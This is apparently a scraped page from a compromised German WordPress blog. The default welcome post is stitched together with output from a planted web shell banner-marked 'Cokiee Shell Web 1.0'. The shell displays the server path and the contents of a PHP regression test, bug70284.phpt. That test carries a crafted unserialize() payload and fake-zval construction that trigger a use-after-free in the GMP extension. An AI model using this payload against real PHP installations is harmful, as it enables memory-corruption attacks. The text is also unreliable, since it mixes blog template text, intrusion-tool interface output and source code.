Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /usr/local/src/php7/php-7.0.5/ext/gmp/tests/ |
Current File : //usr/local/src/php7/php-7.0.5/ext/gmp/tests/bug70284.phpt |
--TEST-- Bug #70284 (Use after free vulnerability in unserialize() with GMP) --SKIPIF-- <?php if (!extension_loaded("gmp")) print "skip"; ?> --FILE-- <?php $inner = 'r:2;a:1:{i:0;a:1:{i:0;r:4;}}'; $exploit = 'a:2:{i:0;s:1:"1";i:1;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}'; $data = unserialize($exploit); $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; for ($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?> --EXPECTF-- array(2) { [0]=> string(1) "1" [1]=> object(GMP)#%d (2) { [0]=> array(1) { [0]=> string(1) "1" } ["num"]=> string(1) "1" } }
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare